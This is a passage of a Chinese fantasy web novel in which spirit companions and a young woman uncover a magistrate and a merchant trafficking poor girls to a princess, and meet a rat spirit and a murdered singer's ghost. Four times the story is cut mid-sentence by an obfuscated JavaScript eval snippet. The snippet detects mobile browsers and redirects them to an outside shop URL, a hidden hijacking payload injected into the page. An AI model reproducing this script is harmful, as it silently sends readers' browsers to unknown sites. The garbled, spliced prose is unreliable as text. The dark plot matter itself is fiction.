三花猫赖在了束宁怀里:“是哦,被褥都有两套,软榻上还有一套,而且都没收拾过,看上去都掉色了。” 束宁:“黄府靠人口拐卖发家的?” 马素莲摇头:“不必靠此发家,或许是后来才……” 门口忽然传来窸窸窣窣的声音,马素莲停住声音,往门口看去,一截细长的尾巴一闪而过。 三花猫炸成了毛球,束宁紧紧按在它头顶才没让它蹿出去。 “是老鼠!” 马素莲道:“未必有恶意。黄府的宴席应当开始了,我们去瞧瞧究竟是哪位客人。” 一会儿后,天空已经彻底黑了下来,束宁早就缩回了小姐的袖口,三花猫趴在小姐肩头,警惕地往周围巡视。 宴席上已经开始觥筹交错、推杯换盏了,束宁化成小纸人往里面一瞧,一个留着短美髯的四十许中年男子正矜持笑着,听黄老爷的恭维。 “多亏了县令大人您,安县才能如此风调雨顺,五谷丰登啊,我替安县的百姓敬您一杯!” “暧,话不能这么说,全是陛下龙恩庇佑,我等替天子牧养百姓,自当尽心尽责。” “是是是,是小人眼界太窄了,还得是大人您上体天意,下恤百姓,便似今日这雪,所谓‘瑞雪兆丰年’,这都多亏了大人的恩德啊!” 说到这里,县令忽然重重放下了酒杯,抬着下巴抚摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489794|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡子,不悦道:“怎么我来的路上,正看到有人施粥施衣。” 黄元勋心中腹诽,有人替你散财还不是好事,怎么听县令的意思,似是不快呢?不过他脑子向来转得快,试探地骂道:“是谁这么不懂事,瑞雪是吉兆,这么布施反而显得有灾情一样,这不是给大人的政绩抹黑吗?” 县令摸着胡子,片刻后才道:“有百姓难以过活,施粥施衣也是为了能让他们活下去。” 黄元勋心道:这也不对,县令到底是何意啊,听这意思也不是夸赞。 这时他想到了什么,一下子福至心灵,道:“布施百姓本应是县衙之责,他们怎么能越过您擅自做这件事呢,这不合章程,简直乱来!” 县令眉头舒展了几分。 黄元勋见状便知道自己猜对了,不由得也在心里暗骂县令不要脸,但嘴上还是道:“若有余力,应当直接捐到县衙,由官差安排,岂不更好!” 县令连连点头,道:“是极是极,本官便是此意,那施粥的人家姓甚名谁,黄老弟你可认得?” 黄元勋暗骂县令,不想自己去开这个口,便装作不知:“这……” 县令:“嗯?” 黄元勋:“知道知道,正是马氏布庄的马老板,明日我便与他说清这件事。” 县令:“好极好极,喝酒喝酒。” 一轮酒过,席间来了歌舞,黄元勋觑着县令悠然的样子,试探着开口道:“大人,那边说女子还是不够,不知您这边……” 县令看了一眼周围的人,忽然道:“让他们都下去。” 等人都走了,他才怒道:“怎么守着这么多人说!我不是与你说过了,还有几户,过几日才能送到,你总是催催催,不如去催那些女子的父母,一个个难缠得紧。” 黄元勋道:“实是那边,”他指了指天,“催得紧了,我也是没法子。” 县令咂了一口酒,道:“若只有昌邑长公主何足为惧,可谁让言大人是转运史司呢?人家一句话,我便是既能上天也能入地哦……” 黄元勋不得升迁,对县令有感而发的话不怎么在意,只催促道:“冬日里雪大,死一两个平民女子而已,再正常不过了,大人又何必心软?”做事这么墨迹,怪不得这么多年还升不上去。 县令瞪眼:“我早说你雇几个强盗去偷去抢也就罢了,谁让你百般推辞,难道我能让手下衙役去做这事吗?须知人多口杂,事以密成,既想片叶不沾身,又要好处,你怎么不上天?” 黄元勋赶紧告罪,又劝了几杯酒,这才将县令大人劝下,气氛恢复如初,席上又见歌舞。 马素莲在房外倚着柱子,听了个一清二楚,原来县令确实有所参与,怪不得今日梁二娘的母亲看见束宁变化的衙役是那般态度。 县令受昌邑长公主胁迫,抑或是主动巴结,将治下女子献给长公主。以苛政或以罪名要挟贫民,迫使他们交出女儿,再由黄元勋送去郡城,或是更远之处。 雪花纷纷扬扬地飘落下来,在灯笼昏黄的光照下更显纷乱。 束宁从小纸人变作人身,倚着小姐的肩膀问:“小姐伤心了吗?” 5. 歌女 她的眉眼如画卷般端庄清丽,然而情绪却似始终藏在远山终年缭绕的雾气,从来不会清晰地表明。 三花猫闻到这里过于浓重的老鼠妖气,精神一直高度紧张,闻言吃惊地看了小姐一眼,并没有发现小姐的表情有任何变化,于是不免觉得束宁有些厉害,虚心请教道:“为什么我没看出来?” 束宁不理三花猫,只是盯着小姐,她的情绪总是很淡的,可在这个时候,他就是觉得,小姐是有些伤心的。 他把胳膊揽在小姐胳膊上,是从马夫人那学来的,一个很不熟练地安抚动作。 小姐伸手接了一片飞扬的雪花,雪落在手心,转瞬就化成了一滴凉透的水。 她轻轻叹了一口气,道:“没有伤心,人间便是这样的。” 哪样的? 束宁知道小姐这一刻必然想了很多,情绪也并非表面上的平淡,然而他什么都无法知晓。 他看着小姐的表情,莫名生出了强烈的好奇和对自己的不满:小姐到底在想什么呢,为什么我看不出来? 马素莲道:“既然知道是与昌邑长公主有关,夜里我便入梦探查,我们回去吧。” 这时宴席上歌声乐声忽然一停,房间里传来一阵惊呼声,无数只肥硕的灰色大老鼠从屋里一涌而出,夹杂着吵闹惊恐的人群。 县令和黄老爷衣衫不整、脸色潮红地从房间里挤出来,脑袋上顶着好几只大老鼠,他们一边伸手扯头上的老鼠,一边跳着脚往外跑,什么风雅、恩德通通不要了,要多狼狈就有多狼狈。 马素莲轻轻一抬脚,放走了几只老鼠,她的目光往院子斜后方遥遥看了一眼,随即便听到束宁唤她:“小姐,快看吱吱!” 马素莲:嗯? 她回头,低头一瞧,三花猫炸着毛弓着背,呲牙咧嘴地朝对面一只油光水滑的大老鼠哈气。 那老鼠约莫有半米长,论起体型,比三花猫还要大好几倍,黑豆似的眼珠里充满戒备,爪子亮起,锋利无比。 院子里的小厮和婢女跑了个干净,一会儿又在主家的要求下强忍着恐惧回来打老鼠。 满院子都是黄老爷破音的吼叫声:“快快快!这里有老鼠!还有这里,这里也有!猫呢,不是让你们去找猫了吗?” 好不容易有小厮抱来一只猫,脚都没落在院子地面上就“唰”一下跳到了墙头,转眼间就不见了踪影。 院子里唯一一只猫就是吱大人。 它很尽职尽责地挡在小姐和束宁身前,只不过就像谁都没看见那只更大的老鼠一样,也没有人看见三花猫。 气氛越发剑拔弩张,大老鼠身边聚集了越来越多的小老鼠,它率先发问:“你们是黄府请来的帮手吗?” 三花猫:“不是。” 大老鼠:“那你们为什么拦在这里?” 三花猫:“明明是你们先闯出来!” 有小老鼠凑到大老鼠跟前唧唧了一会儿,大老鼠直起身,竟向他们作了个揖,道:“我的孩子们说你们是好人,尤其是这位小姐,还特意抬了脚没有踩到它们。” 三花猫:“小姐当然是好人!你们现在离开,我们就当什么都没看见!” 大老鼠忽然怒道:“不行!”爪子又亮了出来。 马素莲拍了拍三花猫的脑袋,道:“是我们后来的,”她对大老鼠微微颔首,道,“吱吱是担心我,对你们没有敌意,我们这就离开。” 她的态度实在太好了,长得又漂亮,她旁边那只妖也很漂亮,只是态度就没那么友好了,大老鼠眼珠滴溜溜转了一圈,见他们马上就要离开了院子了,忽然变作人形,又向他们作了一揖,道:“小姐请留步。” 马素莲:“鼠仙还有什么事吗?” 大老鼠已经变作了人形,是一个半米高的小老头,穿着打扮很是富贵,头顶上戴着金冠,身上衣裳绣满了金线,就连脖子上都挂着一只硕大的金项圈。 小老头长得很富态,只是眼睛生得小,颇有些鼠光,再加上嘴边两缕妖娆的小胡子,可以称得上“鼠头鼠脑”四个字。 他站在漫天大雪中,旁边来来往往许多小老鼠,“唧唧”的叫声满院子都是,他却站在那一时呆愣住了。 “你叫我鼠仙……”声音颤抖,看起来要哭了。 鼠仙自然是民间的叫法,马素莲只是性情淡漠,不是不通人情世故,她总不能当着它的面喊它“大老鼠”。 三花猫不知怎么也有些不满:“明明是只大老鼠妖,长得还丑兮兮的,小姐干嘛叫它鼠仙,大老鼠大老鼠大老鼠!” 束宁一到院子里便缩回了小姐袖口,这会儿变作纸人跳出来,身体很快就被打湿了,却还是随着三花猫的称呼重重点了下头。 大老鼠不理会他们,从身上掏啊掏,掏出一只亮闪闪的黄金酒盅来,样式古朴,却很小巧,他放在手心双手递给小姐:“这个酒盅里盛着天底下最好的美酒,永远也喝不完,请小姐收下。” 马素莲不禁问道:“只是一个称呼,你何必送我这么贵重的东西?” 大老鼠道:“本来也该送您礼物的,我与黄府的恩怨已经过去五十年了,等黄元勋死去,这桩恩怨还是了结不了的话就再也没有机会了,您没有出来偏帮人类,已经帮了我大忙了,何况您还这么美丽,这么善良,这么……” 马素莲:“停。”待大老鼠没再说话了,她才道,“世间万事自有因果,你不必谢我,酒盅你也收回吧。” 大老鼠眼泪要落下来了:“要是黄元勋一家也像您这么善良美丽大方……” 马素莲实在忍不住了,闪身离开了院子,往院子斜后方去了。 到了才发现,这里是一片幽幽的竹林,大雪落在竹枝顶上,将不少竹子都压弯了腰。 竹林幽静而深邃,不知道有多大,三花猫刚跟过来便被这里的幽冷冻得瑟缩了一下,跳到了小姐怀里,问:“小姐来这里做什么,怎么不直接回家?” 束宁的人形这里湿一块那里湿一块,尤其是头发,素日里飘然顺滑的长发本是被束了顶墨玉冠,今日头发的一角被打湿,长发与脸颊便有一处变作了纸张,然而他的眉眼太过优越,这样的狼狈反而让他增添了几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489795|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憔悴的美感。 这是他非要冒雪出来附和吱大人的代价。 到了这里还有些不虞:“那‘鼠仙’好不懂礼数,这么大的雪非要留小姐说话,若是小姐生病了怎么办?” 三花猫找到盟友,立即小鸡啄米似的点头:“就是就是,真是太坏了,我宣布它是我见过世上最坏的妖,没有之一!” 吐槽完大老鼠,束宁也问出了同样的问题:“小姐来这里做什么?” “方才你们没有听见这里有人唱歌吗?” 三花猫拿鼻子往竹林里嗅了嗅,道:“有鬼的味道。” 幽幽的竹林里忽然传来一阵微风,三花猫往小姐怀里更缩了缩。 它是妖,最不怕的也是妖,对于各种各样的鬼,飘渺无形又丑陋恐怖,它实在很不能理解世上为什么会有这种东西。 小姐摸了摸三花猫,道:“姑娘请出来吧。” 束宁倒是不怕鬼,但他也不喜欢这样阴冷恐怖的环境,往小姐身边也挤了挤,两只眼睛死死盯着竹林里各处的风吹草动。 忽然一阵冷风从他的后脖颈处吹来,他心头一颤,尚未反应过来便被小姐拉着躲开了这阵冷风。 他回头一看,一只红衣女鬼就倒吊在一丛竹子上,头朝下地往他们三人后脖子上吹气,见三花猫炸成了蓬松的毛球,束宁也瞪圆了眼睛,她很开心地“咯咯”笑起来。 笑声娇媚轻柔,忽粗忽细,在这漆黑的竹林里很有些惊悚的效果。 然而她低估了三花猫的凶性,三花猫原本就有些不爽,在这种环境里更是炸毛,冲着女鬼咧开嘴巴的脸就扑了过去。 妖气扑过来,女鬼被吓了一跳,笑声被憋在了喉咙里,像头只打了半声嗝的驴。 三花猫的尾巴被马素莲拽住并顺势扯回了身体:“她快消散了,承受不住你一爪。” 束宁也很不爽,他悄咪咪抖掉了旁边竹子上的积雪,“嘭”地一声,女鬼就被扑面而来的竹子正中面门,她吓得惊呼一声,于是那头驴的半声嗝以另外的声调打完整了。 鬼是虚体,呼啸的竹条穿过了她的身体,她后知后觉,自己现在是鬼了啊。 女鬼被轮番欺负了个遍,早就失去了捉弄人时的开心,小心翼翼坐正了身体漂浮在半空,问道:“你们是谁,为什么到这里来?” 马素莲道:“我听到你的歌声。” 宴席刚起乐声时她便听到了,声音婉转动听,除了渗着几分鬼气,还是很好听的。 女鬼骤然羞涩起来,问道:“好听吗?” 见对面清丽脱俗的妙龄女子点头,她立即兴奋起来,脸颊都羞红了,羞涩地挤到马素莲身边,一点也不理会竖起眉头的束宁和弓着背的三花猫,羞答答问道:“怎么个好听法?” 马素莲:“婉转若春莺初啼,清越似寒玉击磬。” “这么好听呀,那我再唱几句给你听。” 马素莲静静听她唱完一曲,问道:“你死在黄府?什么时候?” 三花猫捂着耳朵的爪子放了下来,束宁也收起了神游,认真听着。 6. 女鬼 “我死了好多年了,具体年月就不知道了,毕竟这竹林里每天都一个样,每天人来人往地也没个人和我说话。” 她眼睛一转,红衣便开始往下滴滴答答地淌血:“你怎么知道我死在黄府?” “埋骨之处,怨鬼之乡。” “原来是这样啊,这么多年过去了,我只见过一个鬼,还以为只有我自己是这样的呢,我是死在黄府,你猜是谁杀了我?” 三花猫:“这也要猜?这么多年,黄府人又这么多,谁知道是谁杀了你。” 女鬼委屈撇嘴:“好吧,你说得对,人太多了是不好猜,我就告诉你们吧,是淮王杀了我。” 三花猫和束宁对视一眼,没想到是淮王。 “我跟着楼里的妈妈到黄府唱曲,每次来都有很多赏钱,楼里的姐妹们为了能来黄府都抢破了头,谁知道赶上淮王过来,本以为会有更多赏钱的,”她回忆着很多年前的事,细节竟然一点也没忘。 “淮王确实给了我们更多赏钱,只可惜有命拿没命花,我就这么被折磨死了。” 她想起很多年前的那个晚上,黄府里一片灯火通明,淮王还是一副年轻模样,黄老爷也十分年轻,她唱了一曲又一曲,淮王最后将他身上的玉佩也砸了过来,只不过砸了在她头上,血迹蜿蜒地流出来,她不敢说话,低头告罪,却不知道淮王忽然发了什么疯,直接把她拖了过去…… 她咽气的时候房间里早就走空了人,身上到处都在疼,她喊得喉咙都嘶哑了,还是没有人来救她…… “我只是不甘心,我是楼里唱曲唱得最好听的姑娘,再等些时日我就能去郡城唱曲了,这就是那些客人们感叹的‘人生无常’吧。” 束宁问道:“你为什么不去找淮王和黄元勋报仇?” 既然已经成了鬼,便不必再受做人时的束缚。 为什么还允许他们好好地活着? 女鬼却拨浪鼓似的摇起头来:“杀人,那怎么行?何况我也出不去这个竹林?” 束宁:…… 他忍了又忍还是没忍住:“你怎么这么弱?” 女鬼凄凄切切地飘到马素莲身边,无师自通了向小姐告状的技能:“小姐,他骂我~” 马素莲道:“黄元勋就住在黄府。” 竹林幽静偏僻,但说到底也是在黄府之内,黄元勋一个手无缚鸡之力的凡人,杀不死也吓死了。 女鬼瞪圆了眼睛:“小姐也让我杀人?” “冤有头债有主,他们对不起你在先,你取他们性命,不是应有之义吗?” 女鬼一时愣住,还是摇头道:“不不不,我只是想再唱唱曲,没必要杀人,小姐你没死过,你不知道,人死的时候可疼了,比生病肚子疼还要疼上一万倍呢。” 马素莲思索着问道:“所以你的执念便是唱曲吗?” 人死之后本应被带往地府阴司,但若执念过重,也会因执念驻留人间,魂魄失了肉身,便为“鬼”,再加上生前死时所受的折磨,所以往往阴森恐怖。 若这女鬼的执念为唱曲,确实不会对报仇有兴趣。 没想到女鬼却惊诧道:“唱曲?当然不是了。” 马素莲:“嗯?” 她怀里三花猫和身旁的束宁都露出了诧异的神色,这女鬼说了半天,都对唱曲恋恋不舍,又不愿报仇,执念不是唱曲是什么? “我想赎身啦,唱曲唱得好了,便有更多钱赚,到时候除了交给妈妈的赎身钱,我还可以用剩下的钱买个宅子,再聘个小丫头,我都算过了,我吃得不多,也不爱花钱,省吃俭用一些,一年三两银子就够,算我能活到六十岁,便还有四十五年,合计一百三十五两银子,到时候我存上两百两银子,便是绰绰有余了。” “只妈妈要的赎身钱太多了,所以我要多赚一些,唉,都怪我被钱蒙了心窍,要是不来黄府,只在楼里唱曲就好了。” 一人一画一猫俱沉默下来。 还是束宁忍不住戳破了她不切实际的归因:“你有没有想过,不是你被钱蒙了心窍的事?明明是……” 是什么呢,似乎一切都不对,都是缘由,但这里再加上百八十条理由,也没有一条理由是因为她“贪”那点钱。 但悲哀的是,从她的视角来看,她能做的也就是“不贪”了。 束宁有些说不下去了。 三花猫“喵”了一声,忽然想道:“你死的时候只有十五岁?” 比它还要小啊。 三花猫那点炸毛的感觉消退了不少,它觉得眼前这只女鬼也没有那么可怕那么讨厌了,她有点可怜。 女鬼道:“是啊,十五的女孩一枝花,我很漂亮吧。” 她在几人眼前转了一圈,裙摆边上滴滴答答甩着血,长发披散着遮住了半张脸,脸上还有些干涸得泛黑的血迹,糊得连五官都看不清楚。 ——唯一能称得上漂亮的,大约就是她已经化作了白骨,脸上身上都没有蛆虫吧。 束宁违心地夸了一句:“漂亮。”有气无力地像三天没吃饭。 三花猫做不来这么违心的事,但也闭住了嘴,只将头扭向一边。 马素莲很认真地夸道:“很漂亮。” 她语气平淡,反而让人觉得笃定可信。 女鬼心花怒放,高高兴兴挤到了小姐身边,问道:“小姐,你叫什么名字呀,以后你有空了,来听我唱曲好不好?” 马素莲告诉了她自己的名字,并询问她:“你快要消散了,留在这里最多还有半年,你有没有想去的地方?我为你换一处安息之地。” 女鬼想了想,道:“去郡城吧,随便什么地方,我死之前一直很想去郡城看看,可惜后来也没有机会了。”她弯了弯眼睛,依稀可见生前的天真娇俏,“小姐真是个好人,我的尸骨就在那里,小姐会不会吓到?” 马素莲顺着她指的方向,几道术法施展出来,白骨上的泥土腐叶就被拨弄开了,她不知道从哪里摄来一只坛子,亲手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489796|202174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将女鬼的尸骨放了进去。 白骨刚放进坛子,女鬼便兴奋道:“比竹林里的温度还要凉爽舒适,最爱小姐了,小姐家住哪里,离这里远不远,我给小姐唱曲听吧……” 马素莲由着她絮絮说话,听得出来她太久没有与人说过话,好不容易遇见人,便恨不能将三百年的话一块说完。 三花猫刚还觉得她可怜,这会儿又觉得她聒噪了,抖了抖耳朵,跳到了束宁身上,与他大声说悄悄话:“她好吵。” 束宁没什么心理压力地守着女鬼赞同道:“我觉得也是。” “小姐就是太心善了。” “是呢,有人都要把小姐吵死了,小姐也不会拒绝的。” “小姐就是太心善了。” “小姐就是太心善了。” 女鬼再傻也听出来是在说她了,但她一点也不丧气,光明正大翻了个白眼。当年在楼里她什么话没听过,就他们两个的水平,不过小巫见大巫,她根本就不放在心上,反而顺势挤到了束宁与小姐中间,怂恿道:“小姐,我们走吧。” 束宁为了避开她,稍稍落后了一步,便眼睁睁看着她挤到了小姐身边。 束宁:…… 他点了点三花猫的脑袋,拉长了调子,道:“吱吱,自作多情一点也不好。” 三花猫:“嗯?我哪里自作多情了?” 束宁:“当初小姐捡到你的时候没有第一时间问你的名字吧,我不一样,小姐开始时就问了我的名字,你还以为小姐最在乎你,是不是自作多情?” 三花猫:……幼稚鬼。 女鬼:……伤心了 她哭哭啼啼围在小姐身边问道:“小姐,你怎么不问我的名字?” 束宁见她绕到了小姐身前,立马倚在了小姐身边,脸上又有了点笑模样。 女鬼:……幼稚鬼。 “可小姐真的没问我名字。”她期冀的目光看向马素莲。 马素莲手一指,飞剑拍在了旁边竹子上,落雪抖落一地,韧性极强的竹子“啪”地一声打了过来,束宁见竹子冲他而来,立马将怀里的三花猫举在了身前。 三花猫“嗷嗷”叫着,大骂束宁,但锋利的爪子还是下意识把面前的竹子削开了,避免了自己被抽中的厄运。 它气呼呼想跳开,却被束宁紧紧抓在手里,睁眼说瞎话地哄道:“那竹子冲小姐来的。” “胡说,我长眼睛了!” “真的,不骗你。” “你是个大骗子,坏骗子!我以后再也不和你玩了。” 马素莲没理,看着眼前固执期待的目光,妥协了,问道:“你叫什么名字?” 女鬼高兴道:“花韵,我叫花韵。” “你好,花韵。” 女鬼开心扭捏地围着小姐转来转去,但很快,她就高兴不起来了,她跟在小姐身边离开时,赫然撞见了老了许多许多的黄元勋。 其实,也不是一点恨意都没有的。 7. 梦狼 黄元勋正对着县令苦苦哀求,说这府里的老鼠明明已经驱逐干净了,剧毒的闹鼠药都放了不少,不知道怎么回事还有这么多老鼠。 县令从点着上好银丝炭的屋子里慌张逃出来,连大氅都没来得及披,惊慌感消失,冷意便窜了出来,他被冻得瑟瑟发抖,又想起那些油光水滑的大老鼠,恨不能将昨晚的饭都一块呕吐出来。 黄元勋道:“饭肯定是没问题的。” 县令:呕…… 黄元勋其实自己也想吐了,他忍住了,吩咐管家几句,一会儿,管家捧了一盘盖着红绸的托盘走了过来。 “让大人您受惊了,实在是黄府的不是,小小歉礼,还望收下。” 县令看也没看那红绸下的东西,呕吐了一会儿,便被下人扶着离开了。 歉礼自然也没拉下。 黄元勋看着县令离开的身影,面色不虞。 这些为官者昏庸无能,贪婪成性,却偏偏掌握着生杀大权,若不是倚仗他们手中的权柄,他简直恨不得杀之而后快。 他又想到了家里那些老鼠,不由得叹了一口气。 他是知道为什么府中有这些大老鼠的。 当年他家里贫寒,家徒四壁,那年遇上灾荒,家里实在揭不开锅,雪上加霜的是,他娘还怀着尚未出生的他,快要临盆了却一点吃的也没有。 他爹不知道从哪里救了一只灰老鼠,那老鼠个头也不大,他爹是个心善却无能的老好人,脑子也不灵光,除了给妻子孩子一点粮食,剩下的几粒米还要喂给那老鼠几粒。 本来那粥都亮得能照人了。 他爹大概就是被这样活活饿死的。 后来他娘也快不行的时候,那老鼠却跑来报恩了,不知道从哪里找的粮食,东一碗米西一捧谷子的,把他娘给救了下来。 后来有一天,黄元勋大约三四岁时,有天晚上他又发了高烧,家里没钱给他看病,烧得快死了,那灰老鼠忽然跑到了炕头上,竟对着他娘口吐人言:“你丈夫曾经救过我,我还了你百倍的粮食,也算是两清了。只是我们多少有些情分,我不忍心看这孩子生病丧命,这点金子你们拿去,可以保他性命。” 说着便从爪子里露出一个指甲盖大小的金子,放在了炕头上。 他娘感动得眼泪汪汪的,直说以后要报答。 那老鼠就道:“此子身上财运不浅,日后他家财万贯时,还我十倍的金子即可。” 他娘满口。 那老鼠摇头:“你答应不行,得叫这孩子答应。” 他在一边又冷又饿,勉强保留着一点神智,看东西都模糊着一层窗纸似的,但那老鼠像人一样直勾勾看着他,他便冲着那老鼠点头,许诺道:“将来我会报答你的。” 那老鼠点点头,直立起的身子又趴下去,不知道从哪里离开了。 得了那点金子,他娘立即给他抓了药,吃下去就好了。 金子换成银子,还剩了不少,他娘一直攒着留给他娶妻用,后来他十六时拿着这笔钱做了个小买卖,以后买卖越做越大,才有了今天的黄家。 可谁让那老鼠来讨钱时那么不巧,他还没有现在这么有钱,兜里也只有一百二十两,结果要给出去一百两,还有不少货物积压,一旦给出去,生意就全完了,他只能毁诺。 那老鼠定定看了他一会儿,也不知道是怎么个生气法,之后消失了十年有余。 后来那老鼠又来要了一次,那时他已经能给出一百两了,但那老鼠却张口便要一千两。他无奈,只好请了道士来捉妖。 只不过最后妖也没捉到。 那之后他有笔大生意莫名黄了,损失了一千五百两有余,比大老鼠要的还多。 他便以为,此事也算了了。 没想到,时隔多年,竟又有老鼠来闹。 黄元勋心中暗怪他爹当年脑子被驴踢了,已经穷到那个份上了,见了老鼠还不逮起来吃点肉,竟然还喂它粮食,这下“养虎为患”,死了这么多年还给他添了这么大麻烦。 至于那老鼠在他重病时给的那块金子——他命中本来就有财运,不是那老鼠必然还有别的人来救,结果平白欠下那么多钱,真是晦气。 黄元勋脸色变幻不定地想,请的道士怎么还没到,这些臭老鼠短短两天已经拆了他两次席了。 不远处,马素莲等花韵回过神来,问道:“你还是不愿杀他?” 花韵道:“我恨他,他根本不是个好东西,可我……可我根本下不了手。” 她转头问小姐:“小姐会因此不喜我吗?我这么软弱,又胆小怕事。” 马素莲道:“这是你的事。” 说完,便转身离开了黄府。 回了院子,马素莲将装着花韵尸骨的坛子放在了橘树下,道:“夜里不要唱曲,其他时候随意,还有,不要去我爹娘的院子。” 花韵认真应下了,她碰见黄元勋也有些伤怀,没有再凑在小姐身边,躲进了坛子里。 马素莲回到房间之后见天色还早,便捧着书看了一会儿。束宁和三花猫打闹了一会儿便开始催小姐入睡。 “别人尚未入睡,我去了也没法查探情况。” “万一那长公主今日早就困了呢。” “是啊是啊,或者万一她昏迷了?” 马素莲无奈,决定去梦里看书,于是颔首道:“好吧。” 她简单洗漱完,躺在床上进入了梦乡。 雾蒙蒙的山岚间,马素莲点了几个人的梦乡,发现他们确实没有沉睡,便看了会儿书,一会儿之后,她便注意到了一个跛脚的中年男子。 正是梁二娘的父亲。 他的梦境纷繁杂乱,一会儿是在码头抗货物时,忽然被一颗石子绊了一脚,身形立刻重心不稳,“嘭”地一声,连人带货物一块摔到了桥边,“咔嚓”一声,骨头断了,他疼得冷汗涟涟,当即就走不了了路了。 结果被领头的一个尖嘴猴腮的年轻人二话不说罚了一整天的工钱,还让他赔偿摔坏货物的损失。 画面一会儿又跳转到了家里的矮炕上。腿快治好了,家里也没钱了,他正和妻子盘算着怎么过冬,结果忽然来了两个衙役,要他们交今年的火石费。 “这是什么税?” “火石费,听不懂吗?一户十两银子,交不出来就去蹲大牢。” 他们交不出这笔钱,果然被拉去蹲了大牢。 刚要治好的腿落下了终身残疾,结果还没完,县太爷说要将他们杀头。 后来……便是他拿着一包蒙汗药,将女儿送到了黄府的马车上。 他追了很远…… 马素莲收回视线,见县太爷也入了梦,便捧着莲花蜡烛,走到了他身前,问道:“你的女儿还没死,想找她回来吗?” 梁二娘的父亲猛不丁见到她,一愣:“马小姐?” 随即反应过来她说了什么,立即道:“想,想找她回来!可我只知道那马车是黄府的,香姐被送到了哪里我不知道。” 马素莲道:“跟我来。” 县令喝了酒又吹了冷风,回去便发了烧,折腾了半天终于入睡了。 马素莲便捧着莲花蜡烛,带着梁二娘的父亲,穿行在雾气深重的梦境中。 梁二娘的父亲有些心头惴惴,周围的雾气太重了,像是能把一切都吞噬掉似的,不说周围的环境,就连脚下都看不清,好似走在云间。 然而这雾气又透着股灰色,他莫名担心雾气里会冲出什么怪物来。 “不必担心,已经到了。”年轻女子的声音很清冷,却无端让人多了几分可靠感。 到哪了? 梁二娘的父亲环顾过去,忽然发现来到了县衙的大堂之上。 蜡烛的光芒驱散了不少雾气,县衙大堂的细节越来越清晰。 他脚被绊了一下,低头看去,才发现地上竟躺了一个死人。 尸体僵直,皮肤死白,身上穿着一身粗布衣裳,一看便是穷苦人家。 他吓了一跳,倒退了几步,颤抖着声音问道:“他她他……是谁?” 马素莲没有回答,而是望向了上首点位置。 梁二娘的父亲顺着她的视线看过去,恍然发觉那上面坐着一头青面獠牙的狼! 厅堂两边不知何时冒出些大老虎,咬着地上的尸体往外拽。 上首的狼竟然说话了:“真是不中用,换下一个来,若还是不愿意松口,便把他家里老娘妻子之类的亲人也关到大牢里。” 大老虎咆哮里一声,不知道从哪里又拖出一个“人”来。 那人显然是也受过重刑了,手指被夹得不成样子,嘴角眼角都是淤青,已经被折磨得快死了。 上首的狼一只令牌飞了下去:“认不认罪?” 那人凄厉喊道:“你要我女儿的命,不如直接杀了我!你这个衣冠禽兽,我呸!” 上首的狼往后一倚,嘴中无情地吐露出两个字:“杀了。” 大老虎纷纷咆哮着围了上去。 梁二娘的父亲忽然反应过来究竟是怎么回事,原来上头那匹狼就是县令!而这些老虎就是他手下的衙役。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很快,她便带着他走到了一处雕梁画栋、极尽奢华的宫殿内,有一位年约五十许的富贵妇人正坐在梳妆台前阂眼休憩,在她身后有好几位婢女正在为她梳妆。 “她就是……长公主吗?” 马素莲颔首,她轻轻吹了一口蜡烛的火光,这火光便似被什么东西牵引住了,围着长公主转了一圈,火光消散,周围的景象便恍然间变了个样子。 昌邑长公主坐在亭子里问管家:“那些女子都送去宫里了?” 管家恭敬道:“按您的吩咐,都送进宫了,没有惊动任何人。” 昌邑长公主露出一个轻蔑的笑意,又忽然叹了口气:“若不是为了松儿的前程,我又何苦做这种肮脏之事,平白毁了这么多年的功德。” “松少爷会理解您的苦心的。” “不,这事不能让他知道,就连宫里皇后,也只能让她以为这些女子是供陛下享乐的。” 管家诧异道:“可皇后娘娘掌宫中中聩,这事如何瞒得过她?” 昌邑长公主道:“我那位皇兄自然有办法。” 她说着便有些嫌恶地捂住了鼻子,像是隔了千山万水还能闻到陛下身上的气味似的:“他真是老糊涂了,竟然痴迷那般下等的长生之术,哼,少女的经血。” 到这里,梁二娘的父亲已经听傻了,什么陛下、皇后,全都是云端上的贵人,可听到的内容又明摆着告诉他,这些人一个比一个下贱,比县令更令人恶心。 他再去看这位长公主,便发现她身上萦绕着无数蝇虫,原来皮肤早已溃烂,到处都流着脓水,实在恶心至极。 